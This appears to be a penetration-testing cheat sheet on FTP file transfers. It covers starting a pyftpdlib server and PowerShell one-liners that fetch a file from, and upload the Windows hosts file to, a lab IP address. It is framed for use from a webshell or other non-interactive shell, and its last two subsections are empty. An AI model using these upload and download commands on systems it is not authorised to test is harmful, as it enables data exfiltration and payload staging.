FTP Transfers

Python FTP Server

sudo pip3 install pyftpdlib

# Download server (anonymous, read-only)
sudo python3 -m pyftpdlib --port 21

# Upload server (anonymous, write-enabled)
sudo python3 -m pyftpdlib --port 21 --write

PowerShell FTP Download

(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

PowerShell FTP Upload

(New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

FTP Command File (Non-Interactive Shell)

When you only have a non-interactive shell (webshell, etc.), write FTP commands to a file and execute.

Download

Upload

Last updated